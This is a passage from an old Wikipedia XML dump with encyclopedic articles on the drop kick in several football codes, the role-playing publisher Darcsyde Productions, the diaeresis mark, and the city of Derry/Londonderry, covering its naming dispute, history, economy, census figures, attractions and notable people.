In [[rugby union]] and [[rugby league]], a drop kick is used to restart play and to score a [[field goal|field or drop goal]].

Drop kicks are used in rugby union:
*from the centre spot to start a half
*from the centre spot after points have been scored
*for a 22-metre drop-out when the ball is touched down or made dead in the in-goal area by the defending team, the attacking team having kicked or taken the ball into the in-goal area.
*from a penalty kick to score a penalty goal or after a try to score a conversion, although the option of a place kick is usually taken instead.

In rugby league, a drop-out ensues from underneath the posts on the goal line when:
*the defending team forces the ball in the in-goal area 
*the defending team is tackled or knocks on in the in-goal area
*the defending team causes the ball to go dead or into touch-in-goal.
A drop-out from the 20 metre line ensues when:
*an unsuccessful penalty goal attempt goes dead or into touch-in-goal.

In each game, a player may attempt to score a goal from open play by drop kicking the ball over the crossbar and between the posts. A goal scored this way is called a dropped goal, abbreviated to &quot;drop goal&quot; in speech. A dropped goal scores three points in rugby union but only one point in rugby league, where the option is usually only taken late in a tied game.

== American and Canadian football ==

In both [[American football]] and [[Canadian football]], one method of scoring a [[field goal]] or [[extra point]] is by '''drop-kicking''' the football through the goal. 

The drop kick was often used as a surprise tactic. The ball would be snapped or [[Lateral pass|lateraled]] to a back, who would perhaps fake a run or pass, but then would kick the field goal instead.

This method of scoring worked well in the [[1920s]] and [[1930s]], when the football was rounder at the ends (similar to a modern rugby ball). Early football stars such as [[Jim Thorpe]] and [[Paddy Driscoll]] were skilled drop-kickers. 

In 1934, the ball was made more pointed at the ends. This made passing the ball easier, as was its intent, but made the drop kick obsolete, as the more pointed ball did not bounce up from the ground reliably.  The drop kick was supplanted by the place kick, which cannot be attempted out of a formation generally used as a running or passing set. The drop kick remains in the rules, but is seldom seen, and rarely effective when attempted. 

The only execution of the drop kick in recent years in the [[NFL]] was by [[Doug Flutie]], reserve [[quarterback]] of the [[New England Patriots]], against the [[Miami Dolphins]] on [[January 1]], [[2006]] for an [[extra point]] after a touchdown. Since Doug Flutie estimated that he had &quot;probably an 80 percent chance&quot; of making a drop kick[http://www.theledger.com/apps/pbcs.dll/article?AID=/20060102/NEWS/601020380/1002/SPORTS] and regular place-kicked point after attempts have a much higher probability of being good, the kick was not a strategic move. After the game New England coach [[Bill Belichick]] said &quot;I think Doug deserves it&quot;[http://abcnews.go.com/Sports/wireStory?id=1461839] and Flutie said &quot;I just thanked him for the opportunity&quot;.[http://www.theledger.com/apps/pbcs.dll/article?AID=/20060102/NEWS/601020380/1002/SPORTS] This was the first successful drop kick in the NFL in over 64 years since it was executed by [[Ray (Scooter) McLean|Ray &quot;Scooter&quot; McLean]] of the [[Chicago Bears]] in their 37-9 victory over the [[New York Giants]] on [[December 21]], [[1941]] in the [[NFL championship]] game at Chicago's [[Wrigley Field]].  Though it wasn't part of the NFL at the time, the [[All-America Football Conference]] saw its last drop kick [[November 28]], [[1948]] when [[Joe Vetrano]] of the [[San Francisco 49ers]] dropkicked an extra point after a muffed snap against the [[Cleveland Browns]].[http://www.boston.com/sports/football/patriots/articles/2006/01/29/a_get_rich_kick_scheme_fails/?rss_id=Boston.com+--+New+England+Patriots+news]

Prior to Flutie's historic drop-kick, the only recent vocal proponent of the drop-kick in the NFL had been [[Jim McMahon]], quarterback for several NFL teams.  During the 1980s, while playing in Chicago, McMahon regularly practiced the drop kick, and was known to frequently petition [[Chicago Bears|Bears]] head coach [[Mike Ditka]] for an opportunity to use the maneuver.  Ditka, who regarded the play as an [[anachronism]], never allowed it.

Exclusively in Canadian football, the drop kick can be attempted beyond or behind the line of scrimmage. Any player on the kicking team behind the kicker, and including the kicker, can recover the kick. A drop kick that goes out of bounds is considered a change of possession. 

During one game in the 1980's [[Hamilton Tiger-Cats]] wide receiver [[Earl Winfield]] was unable to field properly a punt and in frustration he kicked the ball out of bounds. The kick was considered a drop kick and it led to a change of possession and the team that punted regained possession of the ball. 

The drop kick is most often used as a desperation play at the end of a game.

== Arena football == 

In [[Arena football]] a drop-kicked extra point counts for two points rather than one; a drop-kicked field goal counts for four points rather than three.  Seemingly the game's inventors hoped that a team trailing by four points on an apparent final play might attempt a very dramatic drop kick in order to tie the game.  However, the additional incentive has not been enough of an enticement to produce many drop kicks after the first few years of Arena play.   The absence of drop-kicking with any degree of frequency from any other level or variety of gridiron football in the present day (see above) means that there is no pool of experienced and capable drop kickers for the Arena league to draw from, and the play would in any event occur too seldom to seem to be worth the amount of practice time that would have to be devoted to it for it to be executed at any real level of proficiency; in practice a pass off of the rebound nets above the endlines which, if completed, would result in six points and a win for the team down by four points, rather than a tie and overtime, probably has at least an equal and possibly a superior chance of success.

== Australian Rules football ==

In [[Australian Rules football]], a similarly named and executed kick was used in general play, particularly after a free kick was awarded.  
It was popular as players could kick the ball long distances, and the ball's backwards rotation was reasonably easy for teammates to catch (a major feature of the game).

A variation known as the ''stab pass'' or more poetically, the ''daisy cutter'', involved an abbreviated follow-through and travelled on a notably low trajectory, which made it very useful for short-range passing.  

The drop kick and stab pass gradually disappeared from the game by the [[1980s]], as it was unreliable, particularly on wet grounds, and players were coached to always use the [[punt_kick|drop punt]] kicking style to avoid having to make a decision on what kind of kick to perform as the game became played at a faster pace.

==See also==
* [[Punt kick]]
* [[Grubber kick]]
* [[Bomb kick]]
* [[Glossary of American football]]

[[Category:American football plays]]
[[Category:Rugby union terminology]]
[[Category:Rugby league terminology]]
[[Category:Australian rules football terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Darcsyde Productions</title>
    <id>9052</id>
    <revision>
      <id>38053219</id>
      <timestamp>2006-02-03T21:29:29Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 January 25|Jan 25]]</comment>
      <text xml:space="preserve">'''Darcsyde Productions''' is a [[role-playing game]] publisher which has produced the [[Corum]] supplement for the [[Chaosium]] ''[[Stormbringer (role-playing game)|Stormbringer]]'' (aka ''Elric!'') RPG and is currently working on a [[Hawkmoon]]-themed supplement for the same games.

==External links==
*http://www.darcsyde.org.

[[Category:Role-playing game publishing companies]]


{{rpg-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Diaeresis</title>
    <id>9053</id>
    <revision>
      <id>40741971</id>
      <timestamp>2006-02-22T18:44:52Z</timestamp>
      <contributor>
        <username>Ade myers</username>
        <id>142815</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about the double-dot diacritical mark {{unicode|&amp;nbsp;̈}} as used, for instance, in Dutch - for the graphically identical diacritic, as used, for instance, in German, see [[Umlaut (diacritic)]]''

&lt;div style=&quot;float: right; margin-right: 10px; margin-bottom: 10px; font-size: 4em;&quot;&gt;ä ë ï ö ü ẅ ÿ&lt;/div&gt;
In [[linguistics]], a '''diaeresis''', or  '''dieresis''' ([[American English|AE]]) (from [[Greek language|Greek]] {{polytonic|διαιρεῖν}} (diaerein), ''to divide'') is the division of two adjacent [[vowel]]s as two [[syllable]]s rather than as a [[diphthong]]. The opposite phenomenon is known as [[synaeresis]].

The [[diacritic]] mark composed of two small dots ('''{{unicode|&amp;nbsp;¨}}'''&amp;nbsp;) placed over a vowel to indicate this modification is also called a '''[[Diaeresis (diacritic)|diaeresis]]''', or a '''trema'''. (In the case of an &quot;i&quot;, it replaces the original dot.)

==Usage==
In [[French language|French]], [[Greek language|Greek]] and [[Dutch language|Dutch]] the diaeresis is placed on the second of two consecutive vowels to indicate that it is to be pronounced on its own, not left silent or merged into a [[diphthong]], as in the words ''coöperate'' and ''Anaïs''. [[Welsh language|Welsh]] also uses the diacritic for this purpose, with the diaeresis usually indicating the stressed vowel. French also uses the diaeresis to indicate syllabification in, for example, ''Gaëlle'' and ''païen''. It is called ''trema'' or ''deelteken'' in Dutch, ''tréma'' in French.

The diaeresis has also occasionally been used in native English words for the above purposes (as in ''coöperate'', ''reënact'' and ''noöne''), but this usage has become extremely rare since the [[1940s]]. ''[[The New Yorker]]'', ''[[The Economist]]'' and MIT's ''[[Technology Review]]'' can be noted as some of the few publications that spell ''coöperate'' with a diaeresis. Their use in English today is mostly limited to certain names, such as the surname ''Brontë'' and girls names ''Chloë'' &amp; ''Zoë''


In [[Spanish language|Spanish]], it is used over the vowel ''u'' to indicate that it is pronounced in places where that vowel would normally be silent. In particular, the ''u'' is silent in the letter combinations ''gue'' and ''gui'', but in words such as ''vergüenza'' (&quot;shame&quot;) or ''pingüino'' (&quot;penguin&quot;), the ''u'' is pronounced, forming a diphthong with the following vowel ([we] and [wi] respectively). [[Brazilian Portuguese]] uses the diaeresis like Spanish and also with letter combinations ''que'' and ''qui'', in words such as ''cinqüenta'' (&quot;fifty&quot;) and ''qüinqüênio'' (&quot;a five-year period&quot;). The diaeresis doesn't exist in the Portuguese of Portugal and its other former colonies. There is some discussion about removing diaeresis from Brazilian Portuguese and it is not uncommon to omit them (either intentionally or not) in newspapers and informal writing.

For instance, in Spanish, ''ge'' is pronounced /xe/, ''gue'' is pronounced /ge/ and ''güe'' is pronounced /gwe/.

In [[Catalan language|Catalan]], diaereses serve two different purposes. Similarly to Spanish, they are used in the groups ''güe'', ''güi'', ''qüe'', and ''qüi'' to indicate that the ''u'' is in fact pronounced forming a diphthong with the following vowel ([we] and [wi] respectively). For example, ''aigües'' (&quot;waters&quot;), ''qüestió'' (&quot;matter&quot;). Also, similarly to French, diaereses are used over ''i'' or ''u'' to indicate that they do not form a diphthong with a preceding vowel. For example, ''veïna'' [b@'in@] (&quot;neighbour&quot;, feminine), ''diürn'' [di'urn] (&quot;diurnal&quot;).

A mixing of uses and letters can be standard for [[Galician language|Galician]]: diaereses is used to mark the pronunciation of ''u'' after ''g'' (but not after ''q'' as Brazilian or Catalan) and also for hiatus (no diphthong) in some words (Mainly [[tense]]s for [[verb]]s). So, a word can be distinguished by the use (or not) of diaereses. Examples includes ''saiamos'' ([[subjunctive|subjunctive present]]) and ''saïamos'' ([[imperfect present]]), and other verbs with [[infinitive]]s, ended with (''oír'', &quot;to listen&quot;), ''-aer'' (''caer'', &quot;to fall&quot;), ''-oer'' (''moer'', &quot;mill&quot;), ''-air'' (''saír'', &quot;to go out&quot;), ''-oir'' and so on.

Ÿ can be used in transcribed [[Greek language|Greek]]: there it represents the non-[[diphthong]] αυ (alpha upsilon), e.g. in the Persian name ''Artaÿctes'' at the very end of [[Herodotus]].

== See also ==
*[[Umlaut (diacritic)]]
*[[Synaeresis]]
*[[Syllable]]
*[[Pausa]]
*[[diphthong]]

[[Category:Phonology]]

[[ca:Dièresi]]
[[de:Diärese]]
[[es:Diéresis]]
[[sv:Dieresis]]</text>
    </revision>
  </page>
  <page>
    <title>Dieresis</title>
    <id>9054</id>
    <revision>
      <id>15906977</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diaeresis]]
</text>
    </revision>
  </page>
  <page>
    <title>Derry</title>
    <id>9055</id>
    <revision>
      <id>41643807</id>
      <timestamp>2006-02-28T19:23:51Z</timestamp>
      <contributor>
        <username>Djegan</username>
        <id>49447</id>
      </contributor>
      <minor />
      <comment>rv - unclear what editor means</comment>
      <text xml:space="preserve">&lt;!--
Note to editors: the agreed compromise for the Derry/Londonderry naming dispute is that the city page shall be titled Derry and the county page shall be titled County Londonderry.
--&gt;
:''For other places with similar names, see [[Derry (disambiguation)]] and [[Londonderry (disambiguation)]].''
{{Ireland_city_infobox |
  city_name     = Derry/Londonderry |
  crest_image   = Image:Derry.Shield.png |
  motto_latin   = Vita Victoria Veritas |
  motto_english = &quot;life victory truth&quot; |
  map_image     = Image:NorthernIrelandDerryBorough.png |
  pin_coords    = left: 58px; top: 33px |
  gps_coords    = {{coor dms|54|59|29|N|7|20|29|W|type:city(105,066)|region:GB}}|
  city_area     = ? km&amp;sup2; |
  city_county   = [[County Londonderry]] |
  city_pop      = 83,652 |
  city_province = [[Ulster]] |
}}
'''Derry''' or '''Londonderry''' (in [[Irish language|Irish]], ''Doire'' or ''Doire Cholm Chille''), often called the ''Maiden City'', is a [[City status in the United Kingdom|city]] in [[Northern Ireland]]. The old [[walled city]] of Londonderry lies on the west bank of the [[River Foyle]], but the city now covers both banks and is connected by two bridges. The district extends to rural areas to the southeast of the city. The population within the city proper was 83,652. The '''[[Derry Urban Area]]''' (including [[Culmore]], [[New Buildings]] and [[Strathfoyle]]) had a population of 90,736 people in the 2001 Census.

&lt;!-- 
Note to editors: to be equally unfair to both sides, Wikipedia has adopted a policy that the city article shall be titled Derry and the county article titled County Londonderry. 
--&gt;
Derry is near the border with the [[Republic of Ireland]], and serves much of western [[Ulster]], including [[Donegal]], as well as the west of [[County Londonderry]]. It is Northern Ireland's second largest city and the fourth largest urban centre in Ireland as a whole. The district is run by [[Derry City Council]] and has an airport, [[City of Derry Airport]].
[[Image:River_Foyle_2004_SeanMcClean.jpg|thumb|375px|none|The [[River Foyle]] at Night.]]
__TOC__

== Name ==
The city is currently officially named '''Londonderry''' according to the city's [[Royal Charter]] and usually appear as such on maps[http://maps.google.com/maps?q=Ireland&amp;ll=54.995835,-7.307453&amp;spn=0.169881,0.656227&amp;hl=en]. The name was changed from '''Derry''' in 1613 during the [[Plantation of Ulster]] to reflect the rebuilding of the city by the London guilds. However, many people today refer to the city by the name Derry. For some, this naming dispute is a contentious issue (see [[Derry/Londonderry name dispute]]).

The name Derry is primarily used by [[Irish nationalism|nationalists]] in Northern Ireland, with [[Unionists (Ireland)|unionists]] preferring Londonderry. Among the city's inhabitants, most nationalists and some unionists use &quot;Derry&quot;. In the Republic of Ireland, the city and county are still referred to as Derry. In official use the city is always known as Londonderry [http://news.bbc.co.uk/1/hi/northern_ireland/4477218.stm], although some local organizations name themselves after Derry - for example, [http://www.cityofderryairport.com/ City of Derry Airport] and [http://www.derrycity.gov.uk/ Derry City Council].

The city is also nicknamed the Maiden City by virtue of the fact that its walls were never penetrated during the [[siege of Derry]] in the late 17th century.

{| BORDER=&quot;0&quot; CELLPADDING=&quot;2&quot; ALIGN=&quot;CENTER&quot;
| VALIGN=&quot;TOP&quot; |[[Image:Londonderry 20030911 Copyright Kaihsu Tai.JPG|thumb|250px|right|The &quot;No Surrender&quot; [[graffiti]] right outside the city wall: &quot;Londonderry west bank [[loyalist]]s still under siege no surrender&quot;]]
| VALIGN=&quot;TOP&quot; |[[Image:Derry mural.jpg|thumb|250px|right|The &quot;[[Free Derry]]&quot; [[graffiti]] in [[Bogside]]: &quot;You are now entering free Derry&quot;]]
|}

== History ==
:''Main article: [[History of Derry]]''
[[Image:Shipquay_Street_Derry_SMC_2005.jpg|thumb|200px|right|Shipquay Street looking down towards the city Guildhall and river Foyle.]]
Derry is one of the longest continuously inhabited places in [[Ireland]]. The earliest historical references date to the sixth century A.D. when a [[monastery]] was founded there 
by St. [[Columba]], but for thousands of years before that people had been living in the vicinity. 

Colonists organised by [[London]] [[livery companies]] through [[The Honourable The Irish Society]] arrived in the [[1600s]] as part of the [[plantation of Ulster]], and built the walled city of ''Londonderry'' across the Foyle from the earlier town. The city has long been a focal point for important events in [[History of Ireland|Irish history]], including the [[1688]]-[[1689]] [[siege of Derry]] and [[Bloody Sunday (1972)|Bloody Sunday]] on [[30 January]] [[1972]].

Londonderry was the first ever [[planned city]] in Ireland: it was begun in [[1613]], with the walls being completed 5 years later in [[1618]]. The central diamond within a walled city with four gates was thought to be a good design for defence. The grid pattern chosen was subsequently much copied in the colonies of British North America [http://worldfacts.us/UK-Londonderry.htm]. The [[siege of Derry]] is commemorated annually by the fraternal organisation the [[Apprentice Boys of Derry]] in the week long [[Maiden City Festival]].

The modern city preserves the 17th-century layout of four main streets radiating from the Diamond to four gateways - Bishop's Gate, Ferryquay Gate, Shipquay Gate and Butcher's Gate. Historic buildings within the walls include the 1633 Gothic [[St Columb's Cathedral|cathedral of St Columb]]. In the porch is an inscription:
&lt;blockquote&gt;
'If stones could speake then London's prayse should sound Who built this church and cittie from the grounde.'
&lt;/blockquote&gt;

== Economy ==
The economy of Derry was based significantly on the textile industry until relatively recently. For many years women were the sole wage earners working in the shirt factories while the men predominantly in comparison had high levels of unemployment [http://www.recirca.com/backissues/c95/dwc.shtml]. This led to significant male emigration [http://www.bloodysundaytrust.org/eduhistory.htm]. In more recent times the textile industry jobs have increasingly moved to the far east, leaving Derry to bear an increased jobless total. The history of shirt making in Derry dates back as far as [[1831]] and is said to have been [http://www.geocities.com/historyofshirtmakinginderry/shirtmakinginderry.htm started] by William Scott and his family who first exported shirts to [[Glasgow]]. Within 50 years, shirt making in the city was the most prolific in the UK with garments being exported all over the world. In fact it was known so well that the industry even received a mention in ''[[Das Kapital]]'' by [[Karl Marx]] when discussing the [[factory]] system:
&lt;blockquote&gt;
The shirt factory of Messrs. Tille at Londonderry, which employs 1000 operatives in the factory itself, and 9000 people spread up and down the country and working in their own houses.
[http://www.econlib.org/library/YPDBooks/Marx/mrxCpAtoc.html see Part IV, Chapter XV]
(first published in 1867)
&lt;/blockquote&gt;

A long term foreign employer in the area is [[Du Pont]], who have been based at Maydown since [[1958]], this was its [http://heritage.dupont.com/touchpoints/tp_1958/depth.shtml first] ever [[European]] production facility. Originally [[Neoprene]] was manufactured at Maydown and susequently followed by [[Hypalon]]. More recently [[Lycra]] and [[Kevlar]]® production units were active [http://www.nics.gov.uk/irtu/research/synthetic-4.html]. Thanks to a healthy world-wide demand for Kevlar which is made at the plant, the faclity recently undertook a £40 million upgrade to expand its global Kevlar production. Du pont have stated that contributing factors to their continued commitment to Maydown are: &quot;low labor costs, excellent communications, and tariff-free, easy access to the U.K. mainland and European continent.&quot;

[[Image:Seagate building Derry 2005.jpg|right|200px|thumbnail|Seagate Production Facility, 1 Disc Drive, Springtown Industrial Estate, Derry.]]
In the last 15 years there has been a drive to increase inward investment in the town, more recently concentrating on digital industries. Currently the three largest private-sector employers are American firms [http://www.state.gov/s/p/rem/13319.htm].

Even though Derry provides cheap labour by standards in the West, [http://www.marxist.net/ireland/beyondframe.htm?ch8.htm critics] have noted that the grants offered by the Northern Ireland Industrial Development Board have helped land jobs for the area that will only last as long as the funding lasts. This was reflected by 1990 questions to The Parliamentary Under-Secretary of State for Northern Ireland (Mr. Richard Needham) [http://www.parliament.the-stationery-office.co.uk/pa/cm198990/cmhansrd/1990-03-01/Orals-1.html Column 372 &amp; 373]. It was noted that it cost £30,000 to create one job in an American firm in the north of Ireland.

Successes have included call centres and a large investment by [[Seagate]] who have operated a factory in the Springtown Industrial Estate in Derry since 1993, they currently sponsor the city [[film festival]], but more significantly they employ over 1000 people in the Springtown premises which produces more than half of Seagate's total requirement for [[hard drive]] read-write heads. 

A success for the [[IDB]] (for Northern Ireland) was [[Stream International]], who opened an outsourced technology call centre operation in the IDB's Ulster Science &amp; Technology Park in Derry in January 1995, it is now the third largest employer in Derry [http://www.stream.com/ourcompany/sites/emea_londonderry.asp].

A recent but controversial new employer in the area is [[Raytheon]], Raytheon Systems Limited, was established in 1999, in the Ulster Science &amp; Technology Park, Buncrana Road [http://www.raytheon.co.uk/about/londonderry.html]. Although local people welcomed the jobs boost many in the area object to the jobs being provided by a firm involved heavily in the [[arms trade]] [http://www.raytheon.co.uk/about/londonderry.html].

The most significant employers in the region are:

'''International:'''
* DuPont (US)
* Stream International (US)
* Seagate Technology (US)
* Perfecseal, Bemis (US)
* [[NTL]] (US)
* Arntz Belting (Germany)
* Raytheon (US)
* Northbrook Technologies (US)
* Invision Software (Germany)
* Homeloan Management Ltd - [http://www.hml.co.uk HML] (UK)

'''Local:'''
* Desmonds - Northern Ireland’s largest privately owned company. (International garment manufacturing and sourcing)
* E&amp;I Engineering
* [[Saint Brendan's|St. Brendan’s Irish Cream Liqueur Ltd]]
* Singularity (software products and services)
[http://www.derrycity.gov.uk/economicdevelopment/downloads/1709M%20DERRY%20BOOK.pdf Source] (pdf)

[[Image:Magee University Derry SMC 2005.jpg|right|200px|thumbnail|Magee campus, University of Ulster]]
Londonderry Port at Lisahally is the United Kingdom’s most westerly port and has capacity for 30,000 ton vessels. The port played a vital part for the Allies in WWII during the war's longest running campaign, The Battle of the Atlantic and eventually saw the surrender of the German UBoat fleet at Lisahally on May 8, 1945. In spite of Derry being the second city of Northern Ireland road and rail links to other cities are below par for its standing. Many business leaders claim that government investment in the city and infrastructure has been badly lacking. 

Some have stated that this is due to its outlaying border location whilst others have cited a [[sectarian]] bias against the west of the province due to its high proportion of Catholics [http://cain.ulst.ac.uk/events/derry/bac.htm] [http://www.irelandseye.com/aarticles/history/events/conflict/bttc4.shtm]. In any event, there is no motorway link with [[Belfast]] or [[Dublin]]. Additionally the rail link to Belfast has been downgraded over the years so that presently it is not a viable alternative to the roads for industry to rely on. Mr Garvan O'Doherty, local business man and board member of the Londonderry Port and Harbour Commission, stated in the [[Irish Times]], October 2005:
&lt;blockquote&gt;
&quot;It is vital that road, rail and air links are all maximised with particular emphasis on the two principal road axes - connections to Belfast and Dublin.&quot;
&lt;/blockquote&gt;

Much has been made of the City of Derry airport. However it should be noted that the citizens of Derry themselves directly subsidise its running from local council tax coffers.

Critics of investment decisions affecting Derry often point to the decision to build a new university building in nearby [[Coleraine]] rather than developing the University of Ulster campus that already existed in Derry - Magee. Another major government decision affecting Derry was the decision to create the new city of [[Craigavon]] outside Belfast, which again was detrimental to the development of Derry. Even in October 2005, there is perceived bias against Derry with a major civil service job contract going to Belfast rather than the comparitvely impoverished North West of the province. [[Mark Durkan]], the [[SDLP]] leader and [[Member of Parliament|MP]] for Foyle was quoted in the Belfast Telegraph as saying:
&lt;blockquote&gt;
&quot;The fact is there has been consistent under-investment in the North West and a reluctance on the part of the Civil Service to see or support anything west of the Bann, except when it comes to rate increases, then they treat us equally.&quot;
[http://www.belfasttelegraph.co.uk/news/northwest_edition/story.jsp?story=666639]
&lt;/blockquote&gt;

Many observers note that politics will need to play a part in the future development of the economy of Derry. Whether it is a future devolved Northern Ireland government or the British or Irish or European parliaments that will provide the impetus it is clear that cross border digital and physical infrastructure improvements are needed. In July 2005, the Irish Minister for Finance, [[Brian Cowan]] called for a joint task force to drive economic growth in the cross border region. This would have implications for Derry, Tyrone and Donegal across the border.

Given the afforability of housing in the city, the student population has boomed in recent years bringing a revival in the fortunes of [[Magee Campus|Magee]], the oldest campus within the [[University of Ulster]] established in [[1865]] as Magee College.

== 2001 Census ==

Derry Urban Area (DUA), including the City as well as the neighbouring settlements of [[Culmore]], [[New Buildings]] and [[Strathfoyle]], is classified as a city by the [http://www.nisra.gov.uk/ NI Statistics and Research Agency (NISRA)] (ie with population exceeding 75,000). On Census day ([[29 April]] [[2001]]) there were 90,736 people living in [[Derry Urban Area]]. Of these:
*27.0% were aged under 16 years and 13.4% were aged 60 and over
*48.3% of the population were male and 51.7% were female
*77.8% were from a [[Catholic]] background and 20.8% were from a [[Protestantism|Protestant]] background
*7.1% of people aged 16-74 were unemployed.

For more details see: [http://www.ninis.nisra.gov.uk/ NI Neighbourhood Information Service]

== Places of Interest ==

[[Image:Derry Walls SMC 2005.jpg|right|150px|thumbnail|Derry's Historic Walls.]]
[[Image:Halloween Derry 2005.jpg|right|150px|thumbnail|Derry transforms during Halloween.]]

Tourism is set to be central to the future economic success of Derry. There are many museums and sites of interest in and around the region. Future projects include the Walled City Signature Project, which intends to ensure that the city's walls become a world class tourist experience [http://www.nitb.com/article.aspx?ArticleID=809]. 

Other existing attractions are:
* Templemore Sports Complex, which has hosted the [[European Boxing Championships]] and is claimed to be capable of hosting &quot;any indoor sport up to international level&quot;. &lt;ref&gt;[http://www.visitderry.com/sports.htm &quot;Derry Tourist Guide - sports &amp; leisure&quot;]. Retrieved Jan. 26, 2006.&lt;/ref&gt;
* [[Amelia Earhart]] Centre And Wildlife Sanctuary 
* [[Apprentice Boys of Derry|Apprentice Boys]] Memorial Hall 
* [[Bogside]] Murals 
* Grianan of Ailech (Royal seat of the Ui Neill family for 700 years [http://www.megalithomania.com/show/site/1465])
* Harbour Museum 
* Museum of Free Derry [http://www.museumoffreederry.org/ Online]
* Springhill House And Costume Collection 
* St. Columb's Cathedral and Chapter House Museum 
* Tower Museum 
* Workhouse Museum 

The now world famous Halloween celebrations in Derry also prove a huge tourism boost for the city, the carnival is promoted as being the first and longest running Halloween carnival in the whole of Ireland [http://www.derrycity.gov.uk/halloween/], [http://aspen.conncoll.edu/politicsandculture/page.cfm?key=448]. It actually is the largest street party in Ireland [http://www.irishabroad.com/news/irishpost/Travel/ireland-home-halloween-051012.asp].

== Famous People from Derry ==
[[Image:jhume.jpg|thumbnail|150px|right|John Hume]]
* [[Seamus Ball]] - Actor
* [[Amanda Burton]] - (Born in Ballougry, County Londonderry) Actress. Best known for her role as [[pathologist|forensic pathologist]] Doctor (later Professor) &quot;Sam Ryan&quot; in the [[BBC]] crime drama series [[Silent Witness]].
* [[Joyce Cary]] - Author. Two of his novels were made into films: [[The Horse's Mouth]] (1958) starring Sir. [[Alec Guinness]] and Mister Johnson (1990)
* [[Phil Coulter]] - Songwriter. Wrote [[The Town I Love So Well]] (See Above)
* [[Nadine Coyle]] - One of the five singers that complete the all-girl pop group [[Girls Aloud]].
* [[Peter Cunnah]] Born 1966. Lead singer with 1990's pop outfit D-ream. 
* [[Dana (singer)|Dana]] - In 1970 represented Ireland in the Eurovision Song Contest, later became a politician. 
* [[Seamus Deane]] - Writer
* [[Richard Doherty]] - Catholic Unionist/RUC reservist, writer, military historian
* [[Roma Downey]] - Actress. Best known for her role as Monica, the main character of the religious TV series [[Touched by an Angel]]
* [[John Duddy (boxer)|John Duddy]] - Boxer 
* [[Mark Durkan]] - MP for Foyle (the Derry area)
* [[George Farquhar]] - Restoration dramatist.
* [[Bronagh Gallagher]] - Actress/singer. Films include [[Pulp Fiction]] and [[The Commitments]].
* [[Neil Hannon]] - Lead singer of [[The Divine Comedy (band)|The Divine Comedy]].
* [[Seamus Heaney]] - Poet, writer and lecturer. Awarded the [[Nobel Prize in Literature]] in 1995, he is one of the most widely known and important poets working in English, or perhaps any language, today.
* [[John Hume]] - [[Nobel Peace Prize]]-winning former leader of the [[Social Democratic and Labour Party|SDLP]].
* [[John Lawrence]] - soldier and administrator in 19th century India and Viceroy of India
* [[Josef Locke]] - Tenor singer, popular in the 1940s and 1950s.
* [[Martin McGuinness]] - [[Sinn Féin]] MP for [[Mid Ulster (constituency)|Mid Ulster]], formerly a senior member of the [[Provisional IRA]].
* [[Charlie Nash]] - Boxer. Former European and British lightweight champion.
* [[Feargal Sharkey]] - Lead singer of [[The Undertones]] and current chairman of the Live Music Forum.
* [[Willie Doherty]] - Visual Artist. Twice nominated for the [[Turner Prize]].
* [[Martin O'Neill (footballer)|Martin O'Neill]] - Former manager of [[Celtic F.C.|Celtic Football Club]]; from Kilrea.

== Derry in song ==
{{Quote_box| width=100% |align=center |quote=
I was born in Londonderry  &lt;br/&gt;I was born in Derry City too  &lt;br/&gt;Oh what a special child  &lt;br/&gt;To see such things and still to smile  &lt;br/&gt;I know that there was something wrong  &lt;br/&gt;But I kept my head down and carried on.
|source=[[The Divine Comedy (band)|The Divine Comedy]] ''&quot;Sunrise&quot;'' [http://www.lyricsdir.com/the-divine-comedy-sunrise-lyrics.html Full lyrics]
}}
{{Quote_box| width=100% |align=center |quote=
We'll fight and don't surrender &lt;br/&gt;But come when duty calls &lt;br/&gt;With heart and hand and sword and shield &lt;br/&gt;We'll guard old Derry's Walls 
|source=traditional song associated with the [[Apprentice Boys of Derry]] [http://www.vincentpeters.nl/triskelle/lyrics/derryswalls.php?index=080.010.020.040 Full lyrics]
}}
{{Quote_box| width=100% |align=center |quote=
In 1803 we sailed out to sea,  &lt;br/&gt;Out from the sweet town of Derry,  &lt;br/&gt;For [[Australia]] bound if we didn't all drown,  &lt;br/&gt;And the marks of our fetters we carried...
|source=[[Bobby Sands]] ''&quot;Back Home In Derry&quot;'' [http://celtic-lyrics.com/lyrics/34  Full lyrics]
}}
{{Quote_box| width=100% |align=center |quote=
It is old but it is beautiful, and its colours they are fine. &lt;br/&gt;It was worn at [[Siege of Derry|Derry]], [[Battle of Aughrim|Aughrim]], [[Battle of Newtownbutler|Enniskillen]] and the [[Battle of the Boyne|Boyne]]. &lt;br/&gt;My father wore it as a youth in bygone days of yore. &lt;br/&gt;And on the Twelfth I love to wear the sash my father wore 
|source=Anon ''&quot;[[The Sash]]&quot;''
}}
{{Quote_box| width=100% |align=center |quote=
...In the early morning the shirt factory horn called women from Creggan, the Moor and the Bog. &lt;br/&gt;While the men on the dole played a mother's role, fed the children and then trained the dogs. &lt;br/&gt;And when times got tough there was just about enough. &lt;br/&gt;But they saw it through without complaining. &lt;br/&gt;For deep inside was a burning pride in the town I loved so well. &lt;br/&gt;There was music there in the Derry air, like a language that we all could understand...
|source=[[Phil Coulter]] ''&quot;The Town I Loved So Well&quot;'' [http://celtic-lyrics.com/lyrics/405  Full lyrics]
}}
{{Quote_box| width=100% |align=center |quote=
Well it was Sunday bloody Sunday&lt;br/&gt;When they shot the people there&lt;br/&gt;The cries of thirteen martyrs&lt;br/&gt;Filled the Free Derry air&lt;br/&gt;Is there any one amongst you&lt;br/&gt;Dare to blame it on the kids?&lt;br/&gt;Not a soldier boy was bleeding&lt;br/&gt;When they nailed the coffin lids!
|source=[[John Lennon]] and [[Yoko Ono]] ''&quot;Sunday Bloody Sunday&quot;'' [http://www.fantompowa.net/Flame/john_lennon_irish_roots.htm Full lyrics]
}}
== Townlands of Derry ==
[[Ballynagalliagh]]&lt;br&gt;
[[Shantallow]]

== See also ==
*[[List of towns in Northern Ireland]]
*[[List of villages in Northern Ireland]]

==Notes and references==
&lt;references/&gt;

== External links ==
[[Image:Craigavon_bridge_2005_jonathanmoran.jpg|thumb|250px|[[Craigavon Bridge]], one of the city's two bridges.]]
